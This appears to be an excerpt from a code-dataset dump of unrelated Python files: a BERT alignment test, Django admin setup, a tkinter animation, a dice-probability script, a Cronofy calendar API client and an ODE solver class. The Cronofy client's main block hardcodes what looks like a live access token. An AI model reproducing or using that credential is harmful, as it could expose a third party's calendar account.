","sub_path":"ecom/app/views/products_views.py","file_name":"products_views.py","file_ext":"py","file_size_in_byte":5192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"257907132","text":"import pytest\nimport numpy as np\nimport tensorflow as tf\nimport transformers\nfrom transformers import BertTokenizer\n\nfrom aspect_based_sentiment_analysis import TokenizedExample\nfrom aspect_based_sentiment_analysis import make_alignment\nfrom aspect_based_sentiment_analysis import merge_input_attentions\nnp.random.seed(1)\n\n\n@pytest.fixture\ndef example() -> TokenizedExample:\n example = TokenizedExample(\n text=\"don't go alone---even two people isn't enough for the whole \"\n \"experience, with pickles and a selection of meats and seafoods.\",\n text_tokens=['don', \"'\", 't', 'go', 'alone', '-', '-', '-', 'even',\n 'two', 'people', 'isn', \"'\", 't', 'enough', 'for', 'the',\n 'whole', 'experience', ',', 'with', 'pickles', 'and', 'a',\n 'selection', 'of', 'meats', 'and', 'seafoods', '.'],\n tokens=['[CLS]', 'don', \"'\", 't', 'go', 'alone', '-', '-', '-', 'even',\n 'two', 'people', 'isn', \"'\", 't', 'enough', 'for', 'the',\n 'whole', 'experience', ',', 'with', 'pickles', 'and', 'a',\n 'selection', 'of', 'meats', 'and', 'seafoods', '.', '[SEP]',\n 'pickles', '[SEP]'],\n subtokens=['[CLS]', 'don', \"'\", 't', 'go', 'alone', '-', '-', '-',\n 'even', 'two', 'people', 'isn', \"'\", 't', 'enough', 'for',\n 'the', 'whole', 'experience', ',', 'with', 'pick', '##les',\n 'and', 'a', 'selection', 'of', 'meat', '##s', 'and',\n 'seafood', '##s', '.', '[SEP]', 'pick', '##les', '[SEP]'],\n alignment=[[0], [1], [2], [3], [4], [5], [6], [7], [8], [9], [10], [11],\n [12], [13], [14], [15], [16], [17], [18], [19], [20], [21],\n [22, 23], [24], [25], [26], [27], [28, 29], [30], [31, 32],\n [33], [34], [35, 36], [37]],\n aspect='pickles',\n aspect_tokens=['pickles']\n )\n return example\n\n\n@pytest.fixture\ndef tokenizer() -> BertTokenizer:\n name = 'bert-base-uncased'\n tokenizer = transformers.BertTokenizer.from_pretrained(name)\n return tokenizer\n\n\ndef test_make_alignment(example: TokenizedExample, tokenizer: BertTokenizer):\n wordpiece_tokenizer = tokenizer.wordpiece_tokenizer\n sub_tokens, alignment = make_alignment(wordpiece_tokenizer,\n example.tokens)\n assert sub_tokens == example.subtokens\n assert alignment == example.alignment\n\n\ndef test_merge_input_attentions(example: TokenizedExample):\n # Set up fake attentions\n n = len(example.subtokens)\n attentions = np.zeros([12, 12, 53, 53])\n logits = np.random.randint(0, 10, size=[12, 12, n, n]).astype(float)\n attentions[:, :, :n, :n] = tf.nn.softmax(logits, axis=-1).numpy()\n assert np.isclose(attentions[0, 0, 0, :].sum(), 1.0)\n assert np.isclose(attentions[0, 0, n, :].sum(), 0.0)\n\n n_align = len(example.alignment)\n α = merge_input_attentions(attentions, example.alignment)\n assert α.shape == (12, 12, n_align, n_align)\n # Still, attention distributions should sum to one.\n assert np.allclose(α.sum(axis=-1), 1)\n\n layer, head = 5, 7 # Randomly selected layer and head.\n # We choose an arbitrary (not divided) token. At the beginning, the indices\n # are the same. Attentions between not divided tokens should be unchanged.\n assert attentions[layer, head, 4, 10] == α[layer, head, 4, 10]\n\n # For attention _to_ a split-up word, we sum up the attention weights\n # over its tokens. Note, that the `k` means the index in the alignments.\n k, ij = 32, [35, 36]\n attention_to = np.sum(attentions[layer, head, 4, ij])\n assert attention_to == α[layer, head, 4, k]\n\n # For attention _from_ a split-up word, we take the mean of the attention\n # weights over its tokens.\n ij, k = [28, 29], 27 # We can choose different split-up word.\n attention_from = np.mean(attentions[layer, head, ij, 6])\n assert attention_from == α[layer, head, k, 6]\n","sub_path":"tests/core/test_alignment.py","file_name":"test_alignment.py","file_ext":"py","file_size_in_byte":4021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"556105583","text":"from django.contrib import admin\nfrom django.forms import ModelForm\nfrom suit.widgets import AutosizedTextarea, LinkedSelect\nfrom import_export.admin import ImportExportModelAdmin\nfrom .models import Bug, Componente\nfrom django.conf import settings\nfrom django.contrib.auth.views import redirect_to_login\nfrom django.core.exceptions import PermissionDenied\n\n\nclass BugAdminForm(ModelForm):\n class Meta:\n widgets = {\n 'observaciones' : AutosizedTextarea(attrs={'rows':8, 'class': 'input-x-large'}),\n 'componente': LinkedSelect,\n 'producto': LinkedSelect,\n }\n\n\nclass BugAdmin(ImportExportModelAdmin):\n list_display = ('numero', 'liga', 'componente', 'producto', 'observaciones', 'status', )\n list_display_links = ('numero', 'liga')\n\n form = BugAdminForm\n\n\n\n\nclass ComponenteAdmin(admin.ModelAdmin):\n list_display = ('componente', 'version', 'activo')\n\n\nif getattr(settings, 'SOCIAL_AUTH_USE_AS_ADMIN_LOGIN', False):\n\n def _social_auth_login(self, request, **kwargs):\n if request.user.is_authenticate():\n if not request.user.is_active or not request.user.is_staff:\n raise PermissionDenied()\n else:\n return redirect_to_login(request.get_full_path())\n \n admin.sites.AdminSite.login = _social_auth_login\n\nadmin.site.register(Bug, BugAdmin)\nadmin.site.register(Componente, ComponenteAdmin)\n","sub_path":"historial/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"605395427","text":"# animation with tkinter\n# bouncing ball\nfrom tkinter import *\nimport time\n\nWIDTH = 800\nHEIGHT = 500\nSIZE = 50\ntk = Tk()\ncanvas = Canvas(tk, width=WIDTH, height=HEIGHT, bg=\"green\")\n#canvas = Canvas(tk, width=WIDTH, height=HEIGHT, bg=\"grey\")\n# The pack() packs widgets in rows or columns. We can use options like fill, expand, and side to control this geometry manager.\n\n# - Put a widget inside a frame (or any other container widget), and have it fill the entire frame\n# -Place a number of widgets on top of each other\n# -Place a number of widgets side by side\n\n\ncanvas.pack(side = TOP, expand = True, fill = BOTH)\n\n\nclass Ball:\n def __init__(self,speedx,speedy,color):\n\n # canvas.create_oval(x0, y0, x1, y1, option, ...)\n # (x0,y0) ----------\n # | |\n # | |\n # |----------(x1,y1)|\n\n self.shape = canvas.create_oval(0, 0, SIZE, SIZE, fill=color)\n \n #self.shape=canvas.create_rectangle(0, 0, SIZE, SIZE, fill=color)\n # oval = canvas.create_polygon(0, 0, x1, y1,...xn, yn, options)\n self.speedx = speedx # changed from 3 to 9\n self.speedy = speedy # changed from 3 to 9\n self.active = True\n # define move_active method\n self.move_active()\n\n def ball_update(self):\n # use Canvas.move(canvas_object, x, y) method to move objects from one position to another in any canvas or tkinter toplevel\n # Parameters:\n # - canvas_object is any valid image or drawing created with the help of Canvas class.\n # - x: horizontal distance from upper-left corner.\n # - y: vertical distance from upper-left corner.\n canvas.move(self.shape, self.speedx, self.speedy)\n\n # get the coordinates (x0,y0,x1,y1) of the shape\n pos = canvas.coords(self.shape)\n # horizontal (x) direction\n if pos[2] >= WIDTH or pos[0] <= 0:\n self.speedx *= -1\n # vertical (y) direction\n if pos[3] >= HEIGHT or pos[1] <= 0:\n self.speedy *= -1\n\n def move_active(self):\n if self.active:\n self.ball_update()\n # after 40 miliseconds, call move_active()\n tk.after(40, self.move_active) # changed from 10ms to 30ms\n\nball_1 = Ball(9,9,'orange')\nball_2 = Ball(20,20,'red')\n\n# an infinite loop used to run the application\ntk.mainloop()\n","sub_path":"lec07/animation_tkinter_balls.py","file_name":"animation_tkinter_balls.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"427040303","text":"lines = []\nallen = []\nword = []\ns = []\nwith open('3.txt', 'r', encoding='utf-8-sig') as f:\n\tfor line in f:\n\t\tlines.append(line.strip())\n\n\n\nfor line in lines:\n\ts = line.split()\n\ts[0] = s[0][5:]\n\tfor m in s[1:]:\n\t\tword.append(s[0] + m)\n\t\n#\tif 'Allen' in s[0]:\n#\t\ts[0] = 'Allen: '\n#\t\tfor m in s[1:]:\n#\t\t\tallen.append(s[0] + m)\nprint(word)","sub_path":"r3.py","file_name":"r3.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"573502741","text":"from itertools import product\n\n\ndef probability(dice, sides, target):\n all_rolls = product(range(1,sides+1), repeat=dice) #no list, leave it a generator\n target_rolls=sum(1 for l in all_rolls if sum(l)==target) #just total them up\n return round(target_rolls/sides**dice, 9)\n\n\nprint(probability(2, 7, 10))\n#for i in range(2, 15): print (element)\n #print(i, probability(2, 7, i))\n#print('sum: ', sum(probability(2, 7, i) for i in range(1, 15)))\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"241956800","text":"import datetime\nfrom . import settings\nfrom .auth import Auth\nfrom .datetime_utils import get_iso8601_string\nfrom .pagination import Pages\nfrom .request_handler import RequestHandler\nfrom .validation import validate\n\nclass Client(object):\n \"\"\"Client for cronofy web service.\n Performs authentication, and wraps API: https://www.cronofy.com/developers/api/\n \"\"\"\n\n def _return_correct_response(\n self,\n response,\n response_key,\n only_return_ok=None,\n only_return_status_code=None,\n return_full_response=None,\n ):\n if return_full_response:\n return response\n if only_return_ok:\n return response.ok\n if only_return_status_code:\n return response.status_code\n return response.json()[response_key]\n \"\"\"return \\\n (\n response.json()[response_key]\\\n if response.ok and not return_full_response\\\n else (\n (response.status_code if only_return_status_code else response)\n )\n )\\\n if not (only_return_ok or only_return_status_code or return_full_response) else\\\n (response.ok if only_return_ok else (response.status_code if only_return_status_code else response))\n \"\"\"\n\n def _good_request(\n self,\n endpoint=None,\n method='get',\n url=None,\n only_return_ok=None,\n only_return_status_code=None,\n return_full_response=None,\n *args,\n **kwargs\n ):\n return self._return_correct_response(\n getattr(\n self.request_handler,method\n )(\n endpoint=url or endpoint,\n *args,\n **kwargs\n ),\n endpoint,\n only_return_ok=only_return_ok,\n only_return_status_code=only_return_status_code,\n return_full_response=return_full_response,\n )\n\n def __init__(\n self,\n client_id=None,\n client_secret=None,\n access_token=None,\n refresh_token=None,\n token_expiration=None\n ):\n \"\"\"\n Example Usage:\n\n pycronofy.Client(access_token='')\n pycronofy.Client(client_id='', client_secret='')\n\n :param string client_id: OAuth Client ID. (Optional, default None)\n :param string client_secret: OAuth Client Secret. (Optional, default None)\n :param string access_token: Access Token for User's Account. (Optional, default None)\n :param string refresh_token: Existing Refresh Token for User's Account. (Optional, default None)\n :param string token_expiration: Datetime token expires. (Optional, default None)\n \"\"\"\n self.auth = Auth(client_id, client_secret, access_token, refresh_token, token_expiration)\n self.request_handler = RequestHandler(self.auth)\n\n def account(self):\n \"\"\"Get identifying information for the active account.\n\n :return: Account data.\n :rtype: ``dict``\n \"\"\"\n endpoint = 'account'\n return self._good_request(endpoint,only_return_ok=True)\n\n def close_notification_channel(self, channel_id):\n \"\"\"Close a notification channel to stop push notifications from being sent.\n\n :param string channel_id: The id of the notification channel.\n :rtype: ``int`` STATUS CODE\n \"\"\"\n endpoint = 'channels/{0}'.format(channel_id)\n return self._good_request(endpoint, method='delete',only_return_status_code=True)\n #return self.request_handler.delete(endpoint = 'channels/{}'.format(channel_id)).status_code\n\n\n def create_notification_channel(self, callback_url, calendar_ids=()):\n \"\"\"Create a new channel for receiving push notifications.\n\n :param string callback_url: The url that will receive push notifications.\n Must not be longer than 128 characters and should be HTTPS.\n :param tuple calendar_ids: List of calendar ids to create notification channels for. (Optional. Default empty tuple)\n :return: Channel id and channel callback\n :rtype: ``dict``\n \"\"\"\n endpoint = 'channels'\n data = {'callback_url': callback_url}\n if calendar_ids:\n data['filters'] = {'calendar_ids':calendar_ids}\n return self._good_request(endpoint,method='post',data=data)\n\n def delete_all_events(self, calendar_ids=()):\n \"\"\"Deletes all events managed through Cronofy from the all of the user's calendars.\n\n :param tuple calendar_ids: List of calendar ids to delete events for. (Optional. Default empty tuple)\n \"\"\"\n endpoint = 'events'\n params = dict( delete_all = True ) if not len(calendar_ids) else {'calendar_ids[]': calendar_ids }\n return self._good_request(endpoint,method='delete',params=params,only_return_status_code=True)\n\n def delete_event(self, calendar_id, event_id):\n \"\"\"Delete an event from the specified calendar.\n\n :param string calendar_id: ID of calendar to insert/update event into.\n :param string event_id: ID of event to delete.\n \"\"\"\n endpoint = 'calendars/{}/events'.format(calendar_id)\n params = {'event_id': event_id}\n return self._good_request(endpoint,method='delete',data=params, only_return_status_code=True)\n\n def get_authorization_from_code(self, code, redirect_uri=''):\n \"\"\"Updates the authorization tokens from the user provided code.\n\n :param string code: Authorization code to pass to Cronofy.\n :param string redirect_uri: Optionally override redirect uri obtained from user_auth_link. (They must match however).\n :return: Dictionary containing auth tokens, expiration info, and response status.\n :rtype: ``dict``\n \"\"\"\n response = self.request_handler.post(\n url='%s/oauth/token' % settings.API_BASE_URL,\n data={\n 'grant_type': 'authorization_code',\n 'client_id': self.auth.client_id,\n 'client_secret': self.auth.client_secret,\n 'code': code,\n 'redirect_uri': redirect_uri if redirect_uri else self.auth.redirect_uri,\n })\n data = response.json()\n token_expiration = (datetime.datetime.utcnow() + datetime.timedelta(seconds=data['expires_in']))\n self.auth.update(\n token_expiration=token_expiration,\n access_token=data['access_token'],\n refresh_token=data['refresh_token'],\n )\n return {\n 'access_token': self.auth.access_token,\n 'refresh_token': self.auth.refresh_token,\n 'token_expiration': get_iso8601_string(self.auth.token_expiration),\n 'expires_in': data['expires_in'],\n }\n\n def is_authorization_expired(self):\n \"\"\"Checks if the authorization token (access_token) has expired.\n\n :return: If expired.\n :rtype: ``bool``\n \"\"\"\n if not self.auth.token_expiration:\n return True\n return (datetime.datetime.utcnow() > self.auth.token_expiration)\n\n def list_calendars(self):\n \"\"\"Return a list of calendars available for the active account.\n\n :return: List of calendars (dictionaries).\n :rtype: ``list``\n \"\"\"\n endpoint = 'calendars'\n return self._good_request(endpoint=endpoint)\n\n def list_profiles(self):\n \"\"\"Get list of active user's calendar profiles.\n\n :return: Calendar profiles.\n :rtype: ``list``\n \"\"\"\n endpoint = 'profiles'\n return self._good_request(endpoint=endpoint)\n\n def list_notification_channels(self):\n \"\"\"Return a list of notification channels available for the active account.\n\n :return: List of notification channels (dictionaries).\n :rtype: ``list``\n \"\"\"\n endpoint = 'channels'\n return self._good_request(endpoint=endpoint)\n\n def get_all_events(self,current=None,total=None,next=None,events=None,params=None):\n events = [] if events is None else events\n endpoint = 'events'\n if current is None and total is None:\n # on first run, so send initial request with query\n # params and set values for current, total and next\n response = self.read_events(return_full_response=True,**params)\n else:\n if current < total:\n response = self._good_request(url=next.split(\"v1\")[1],return_full_response=True)\n else:\n return events\n data = response.json()\n data_events = data.get(\"events\") if data.get(\"events\") is not None else []\n page_data = data['pages']\n current, total = page_data['current'],page_data['total']\n next_page = page_data.get(\"next_page\")\n events += data_events\n return self.get_all_events(current=current,total=total,next=next_page,events=events)\n\n\n def read_events(self,\n calendar_ids=(),\n from_date=None,\n to_date=None,\n last_modified=None,\n tzid=settings.DEFAULT_TIMEZONE_ID,\n only_managed=False,\n include_managed=True,\n include_deleted=False,\n include_moved=False,\n localized_times=False,\n automatic_pagination=True,\n return_full_response=True):\n \"\"\"Read events for linked account (optionally for the specified calendars).\n\n :param tuple calendar_ids: Tuple or list of calendar ids to pass to cronofy. (Optional).\n :param datetime.date from_date: Start datetime (or ISO8601 string) for query. (Optional).\n :param datetime.date to_date: End datetime (or ISO8601 string) for query. (Optional).\n :param datetime.datetime last_modified: Return items modified on or after last_modified. Datetime or ISO8601 string. (Optional).\n :param string tzid: Timezone ID for query. (Optional, default settings.DEFAULT_TIMEZONE_ID). Should match tzinfo on datetime objects.\n :param bool only_managed: Only include events created through the API. (Optional, default False)\n :param bool include_managed: Include events created through the API. (Optional, default True)\n :param bool include_deleted: Include deleted events. (Optional, default False)\n :param bool include_moved: Include events that ever existed within the from_date/to_date time window. (Optional, default False)\n :param bool localized_times: Return time values for event start/end with localization information. This varies across providers. (Optional, default False).\n :param bool automatic_pagination: Autonatically fetch next page when iterating through results (Optional, default True)\n :return: Wrapped results (Containing first page of events).\n :rtype: ``Pages``\n \"\"\"\n endpoint = 'events'\n params = {\n 'tzid': tzid,\n 'calendar_ids[]':calendar_ids,\n 'from': get_iso8601_string(from_date),\n 'to': get_iso8601_string(to_date),\n 'last_modified': get_iso8601_string(last_modified),\n 'only_managed': only_managed,\n 'include_managed': include_managed,\n 'include_deleted': include_deleted,\n 'include_moved': include_moved,\n 'localized_times': localized_times,\n }\n return self._good_request(endpoint=endpoint,params=params,return_full_response=return_full_response)\n #return Pages(self.request_handler, results, 'events', automatic_pagination)\n\n def read_free_busy(self,\n calendar_ids=(),\n from_date=None,\n to_date=None,\n last_modified=None,\n tzid=settings.DEFAULT_TIMEZONE_ID,\n include_managed=True,\n localized_times=False,\n automatic_pagination=True):\n \"\"\"Read free/busy blocks for linked account (optionally for the specified calendars).\n\n :param tuple calendar_ids: Tuple or list of calendar ids to pass to cronofy. (Optional).\n :param datetime.date from_date: Start datetime (or ISO8601 string) for query. (Optional).\n :param datetime.date to_date: End datetime (or ISO8601 string) for query. (Optional).\n :param string tzid: Timezone ID for query. (Optional, default settings.DEFAULT_TIMEZONE_ID). Should match tzinfo on datetime objects.\n :param bool include_managed: Include pages created through the API. (Optional, default True)\n :param bool localized_times: Return time values for event start/end with localization information. This varies across providers. (Optional, default False).\n :param bool automatic_pagination: Autonatically fetch next page when iterating through results (Optional, default True)\n :return: Wrapped results (Containing first page of free/busy blocks).\n :rtype: ``Pages``\n \"\"\"\n endpoint = 'free_busy'\n params = {\n 'tzid': tzid,\n 'calendar_ids[]':calendar_ids,\n 'from': get_iso8601_string(from_date),\n 'to': get_iso8601_string(to_date),\n 'include_managed': include_managed,\n 'localized_times': localized_times,\n }\n return self._good_request(endpoint=endpoint,params=params)\n #return Pages(self.request_handler, results, 'free_busy', automatic_pagination)\n\n def refresh_authorization(self, refresh_token=None):\n \"\"\"Refreshes the authorization tokens.\n\n :return: Dictionary containing auth tokens, expiration info, and response status.\n :rtype: ``dict``\n \"\"\"\n response = self.request_handler.post(\n url='%s/oauth/token' % settings.API_BASE_URL,\n data={\n 'grant_type': 'refresh_token',\n 'client_id': self.auth.client_id,\n 'client_secret': self.auth.client_secret,\n 'refresh_token': refresh_token or self.auth.refresh_token,\n }\n )\n data = response.json()\n token_expiration = (datetime.datetime.utcnow() + datetime.timedelta(seconds=data['expires_in']))\n self.auth.update(\n token_expiration=token_expiration,\n access_token=data['access_token'],\n refresh_token=data['refresh_token'],\n )\n return {\n 'access_token': self.auth.access_token,\n 'refresh_token': self.auth.refresh_token,\n 'token_expiration': get_iso8601_string(self.auth.token_expiration),\n }\n\n def revoke_authorization(self):\n \"\"\"Revokes Oauth authorization.\"\"\"\n response = self.request_handler.post(\n url='%s/oauth/token/revoke' % settings.API_BASE_URL,\n data={\n 'client_id': self.auth.client_id,\n 'client_secret': self.auth.client_secret,\n 'token': self.auth.access_token,\n }\n )\n self.auth.update(\n token_expiration=None,\n access_token=None,\n refresh_token=None,\n )\n\n def upsert_event(self, calendar_id, event):\n \"\"\"Inserts or updates an event for the specified calendar.\n\n :param string calendar_id: ID of calendar to insert/update event into.\n :param dict event: Dictionary of event data to send to cronofy.\n \"\"\"\n event['start'] = get_iso8601_string(event['start'])\n event['end'] = get_iso8601_string(event['end'])\n endpoint = 'events'\n url = 'calendars/{}/events'.format(calendar_id)\n return self._good_request(endpoint=endpoint, url=url, data=event, method=\"post\", only_return_ok=True)\n\n def user_auth_link(self, redirect_uri, scope='', state='', avoid_linking=False):\n \"\"\"Generates a URL to send the user for OAuth 2.0\n\n :param string redirect_uri: URL to redirect the user to after auth.\n :param string scope: The scope of the privileges you want the eventual access_token to grant.\n :param string state: A value that will be returned to you unaltered along with the user's authorization request decision.\n (The OAuth 2.0 RFC recommends using this to prevent cross-site request forgery.)\n :param bool avoid_linking: Avoid linking calendar accounts together under one set of credentials. (Optional, default: false).\n :return: authorization link\n :rtype: ``string``\n \"\"\"\n if not scope:\n scope = ' '.join(settings.DEFAULT_OAUTH_SCOPE)\n self.auth.update(redirect_uri=redirect_uri)\n return self.request_handler.generate_url(\n url='%s/oauth/authorize' % settings.APP_BASE_URL,\n params={\n 'response_type': 'code',\n 'client_id': self.auth.client_id,\n 'redirect_uri': redirect_uri,\n 'scope': scope,\n 'state': state,\n 'avoid_linking': avoid_linking,\n }\n )\n\n\n def validate(self, method, *args, **kwargs):\n \"\"\"Validate authentication and values passed to the specified method.\n Raises a PyCronofyValidationError on error.\n\n :param string method: Method name to check.\n :param *args: Arguments for \"Method\".\n :param **kwargs: Keyword arguments for \"Method\".\n \"\"\"\n validate(method, self.auth, *args, **kwargs)\n\n\n\n\nif __name__ == \"__main__\":\n from pytz import timezone\n tzid = timezone(\"America/Los_Angeles\")\n client = Client(access_token=\"RIp66VxLIumjJmNty2wGk81MSqSooDAP\")\n params = dict(tzid=tzid,include_deleted=True)\n events = client.get_all_events(params=params)\n","sub_path":"pycronofy/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":17493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"529760793","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom py_expression_eval import Parser\nfrom .lineq import Solver\nparser = Parser()\n\nsols = {\n '1': lambda x: np.exp(x),\n '2': lambda x: np.exp(-15*x),\n '3': lambda x: (50/2501)*(np.sin(x) + 50*np.cos(x)) - (2500/2501)*np.exp(-50*x),\n}\n\nclass DE(object):\n \"\"\"\n Solve first order Differential equations of the form:\n y' = f(x,y)\n\n methods:\n * Euler\n * Modified euler\n * Adaptive Euler\n * RK of order 4\n \"\"\"\n\n def __init__(self, y_):\n if isinstance(y_, str):\n self.y_ = y_\n self.type = 'ivp'\n elif isinstance(y_, list):\n self.y_coeff = y_\n self.y_ = f'{y_[0]}*x + {y_[1]}*y + {y_[2]}'\n self.type = 'bvp'\n else:\n raise Exception(f'Could not parse input {y_}, type must be string or list')\n self.y_expr = parser.parse(self.y_)\n\n def init_ivp(self, x0, y0):\n ''' Initial condition: y(x0) = y0 '''\n if self.type == 'ivp':\n self.x0 = x0 if x0 else 0\n self.y0 = y0\n else:\n raise Exception('Trying to initialize BVP with IVP conditions')\n\n def init_bvp(self, x0,xn, boundary):\n ''' Boundary conditions:\n boundary[0]*y(x0) + boundary[1]*y(x1) = boundary[2]\n '''\n if self.type == 'bvp':\n self.x0, self.xn = x0, xn\n self.b = boundary\n else:\n raise Exception('Trying to initialize IVP with BVP conditions')\n\n def f(self, x, y):\n return self.y_expr.evaluate({'x': x, 'y': y})\n\n @property\n def sol(self):\n x = [val['x'] for val in self.ans]\n y = [val['y'] for val in self.ans]\n return (list(t) for t in zip(*sorted(zip(x,y))))\n\n def euler(self, h , interval):\n \"\"\"\n Euler's method\n \"\"\"\n self.ans = []\n a,b = interval\n x = self.x0\n y = self.y0\n while x <= b:\n self.ans.append({'x': x, 'y': y})\n y = y + h * self.f(x,y)\n x = x + h\n\n def modified_euler(self, h , interval):\n \"\"\"\n Modified Euler's method\n \"\"\"\n self.ans = []\n a,b = interval\n x = self.x0\n y = self.y0\n while x <= b:\n self.ans.append({'x': x, 'y': y})\n y1 = y + h/2 * self.f(x,y)\n y = y1 + h/2 * self.f(x+h, y + h*y1)\n x = x + h\n\n def adaptive_euler(self, interval, tol):\n \"\"\"\n Adaptive Euler's method\n Adjusts step size according to the tolerance provided\n \"\"\"\n self.ans = []\n a,b = interval\n\n x = self.x0\n y = self.y0\n h = 2*tol / 0.9 # initial value to the value of tolerance\n a1,a2 = (y,y)\n while x <= b:\n self.ans.append({'x': x, 'y': y})\n\n a1 = y + h * self.f(x,y) # euler 1 step\n ymid = y + (h/2) * self.f(x,y)\n a2 = ymid + (h/2) * self.f(x + h/2, ymid) # euler 2 step\n local_err = abs(a1-a2) / h\n\n while local_err > tol:\n h = 0.9 * tol * h / local_err\n a1 = y + h * self.f(x,y) # euler 1 step\n ymid = y + (h/2) * self.f(x,y)\n a2 = ymid + (h/2) * self.f(x + h/2, ymid) # euler 2 step\n local_err = abs(a1-a2) / h\n\n y = 2*a2 - a1\n x = x + h\n\n def runge_kutta(self, h , interval):\n \"\"\"\n Runge kutta method of order 4\n \"\"\"\n self.ans = []\n a,b = interval\n x = self.x0\n y = self.y0\n while x <= b:\n self.ans.append({'x': x, 'y': y})\n k1 = h * self.f(x, y)\n k2 = h * self.f(x + h/2, y + k1/2)\n k3 = h * self.f(x + h/2, y + k2/2)\n k4 = h * self.f(x + h, y + k3)\n y = y + (1/6) * (k1 + 2*k2+ 2*k3 + k4)\n x = x + h\n\n def adam_bashforth_2(self, h, interval):\n \"\"\"\n Adom bashforth method of order 2\n Uses euler's method for initial points\n \"\"\"\n self.ans = []\n a,b = interval\n x = self.x0\n y = self.y0\n order = 2\n while x <= b:\n self.ans.append({'x': x, 'y': y})\n if len(self.ans) < order:\n y = y + h * self.f(x,y)\n else:\n xp,yp = self.ans[-2]['x'], self.ans[-2]['y']\n y = y + (h/2) * (3*self.f(x,y) - self.f(xp,yp))\n x = x + h\n\n def adam_bashforth_3(self, h, interval):\n \"\"\"\n Adom bashforth method of order 3\n Uses euler's method for initial points\n \"\"\"\n self.ans = []\n a,b = interval\n x = self.x0\n y = self.y0\n order = 3\n while x <= b:\n self.ans.append({'x': x, 'y': y})\n if len(self.ans) < order:\n y = y + h * self.f(x,y)\n else:\n xp,yp = self.ans[-2]['x'], self.ans[-2]['y']\n xpp,ypp = self.ans[-3]['x'], self.ans[-3]['y']\n y = y + (h/12) * (23*self.f(x,y) - 16*self.f(xp,yp) + 5*self.f(xpp,ypp))\n x = x + h\n\n def adam_bashforth_4(self, h, interval):\n \"\"\"\n Adom bashforth method of order 4\n Uses euler's method for initial points\n \"\"\"\n self.ans = []\n a,b = interval\n x = self.x0\n y = self.y0\n order = 4\n while x <= b:\n self.ans.append({'x': x, 'y': y})\n if len(self.ans) < order:\n y = y + h * self.f(x,y)\n else:\n xp,yp = self.ans[-2]['x'], self.ans[-2]['y']\n xpp,ypp = self.ans[-3]['x'], self.ans[-3]['y']\n xppp,yppp = self.ans[-4]['x'], self.ans[-4]['y']\n y = y + (h/24) * (55*self.f(x,y) - 59*self.f(xp,yp) + 37*self.f(xpp,ypp) - 9*self.f(xppp, yppp))\n x = x + h\n\n def adam_pred_correct(self, h, interval):\n \"\"\"\n Adom bashforth method (predictor - corrcector)\n Uses euler's method for initial points\n \"\"\"\n self.ans = []\n a,b = interval\n x = self.x0\n y = self.y0\n order = 4\n while x <= b:\n self.ans.append({'x': x, 'y': y})\n if len(self.ans) < order:\n y = y + h * self.f(x,y)\n else:\n xp,yp = self.ans[-2]['x'], self.ans[-2]['y']\n xpp,ypp = self.ans[-3]['x'], self.ans[-3]['y']\n xppp,yppp = self.ans[-4]['x'], self.ans[-4]['y']\n y0 = y + (h/24) * (55*self.f(x,y) - 59*self.f(xp,yp) + 37*self.f(xpp,ypp) - 9*self.f(xppp, yppp))\n y = y + (h/24) * (9*self.f(x+h,y0) + 19*self.f(x,y) - 5*self.f(xp,yp) + self.f(xpp, ypp))\n x = x + h\n\n def milne_pred_correct(self, h, interval):\n \"\"\"\n Milne's method (predictor - corrcector)\n Uses euler's method for initial points\n \"\"\"\n self.ans = []\n a,b = interval\n x = self.x0\n y = self.y0\n order = 4\n while x <= b:\n self.ans.append({'x': x, 'y': y})\n if len(self.ans) < order:\n y = y + h * self.f(x,y)\n else:\n xp,yp = self.ans[-2]['x'], self.ans[-2]['y']\n xpp,ypp = self.ans[-3]['x'], self.ans[-3]['y']\n xppp,yppp = self.ans[-4]['x'], self.ans[-4]['y']\n y0 = yppp + (4*h/3) * (2*self.f(xpp,ypp) - self.f(xp,yp) + 2*self.f(x,y))\n y = yp + (h/3) * (self.f(xp,yp) + 4*self.f(x,y) + self.f(x+h,y0))\n x = x + h\n\n def adam_milne_pred_correct(self, h, interval, tol):\n \"\"\"\n Adom milne method (predictor - corrcector)\n Uses euler's method for initial points\n Uses predictor formula till relative error < tol (or count > 50)\n \"\"\"\n self.ans = []\n a,b = interval\n x = self.x0\n y = self.y0\n order = 4\n while x <= b:\n self.ans.append({'x': x, 'y': y})\n if len(self.ans) < order:\n y = y + h * self.f(x,y)\n else:\n xp,yp = self.ans[-2]['x'], self.ans[-2]['y']\n xpp,ypp = self.ans[-3]['x'], self.ans[-3]['y']\n xppp,yppp = self.ans[-4]['x'], self.ans[-4]['y']\n y0 = y + (h/24) * (55*self.f(x,y) - 59*self.f(xp,yp) + 37*self.f(xpp,ypp) - 9*self.f(xppp, yppp))\n y = y + (h/24) * (9*self.f(x+h,y0) + 19*self.f(x,y) - 5*self.f(xp,yp) + self.f(xpp, ypp))\n count = 1\n while abs((y-y0)/y) > tol and count < 50:\n count += 1\n y0 = y\n y = y0 + (h/24) * (9*self.f(x+h,y0) + 19*self.f(x,y) - 5*self.f(xp,yp) + self.f(xpp, ypp))\n x = x + h\n\n def solve_ivp(self, method, interval, h=None, tol=None):\n method = method.lower()\n\n if (interval[1] <= interval[0]):\n raise Exception('Right endpoint can\\'t be less than left endpoint')\n\n if (interval[0] != self.x0):\n raise Exception(f'Left endpoint must match x0 = {self.x0}')\n\n if method in ['euler', 'modified-euler', 'runge-kutta-4', 'adam-milne-pc'] and not h:\n raise Exception(f'Method `{method}` requires step size `h` to be specified')\n if method in ['adaptive-euler', 'adam-milne-pc'] and not tol:\n raise Exception(f'Method `{method}` requires a tolerance `tol` to be 